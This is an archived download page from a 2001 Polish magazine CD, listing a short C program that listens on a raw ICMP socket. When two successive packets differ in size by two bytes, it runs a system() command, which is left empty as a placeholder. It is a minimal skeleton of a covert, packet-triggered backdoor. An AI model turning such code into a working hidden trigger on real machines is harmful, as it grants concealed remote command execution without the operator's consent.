home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Magazyn Internet 2001 September
/
MICD2001_09_NR1.iso
/
Www
/
LinuxSec
/
download
/
icmp.c
< prev
next >
Wrap
C/C++ Source or Header
|
2001-04-18
|
669b
|
27 lines
#include <stdio.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <sys/types.h>
int main (int argc, char **argv)
{
int sc, rozmiar, tymcz;
char buff[65536];
/* otwarcie icmp */
if((sc=socket (PF_INET, SOCK_RAW, IPPROTO_ICMP))<0) {
perror("socket()");
exit(-1);
}
/* w pΩtli niesko±czonej program czeka na pakiety */
while(1)
{
rozmiar=recvfrom(sc, buff, sizeof(buff), 0, NULL, 0);
if((rozmiar-tymcz)==2) /* je┐eli 2 pakiety r≤┐ni╣ siΩ miΩdzy
sob╣ o dwa nastΩpuje uruchomienie programu*/
system(""); /* polecenie do uruchomienia */
tymcz=rozmiar;
}
return 0;
}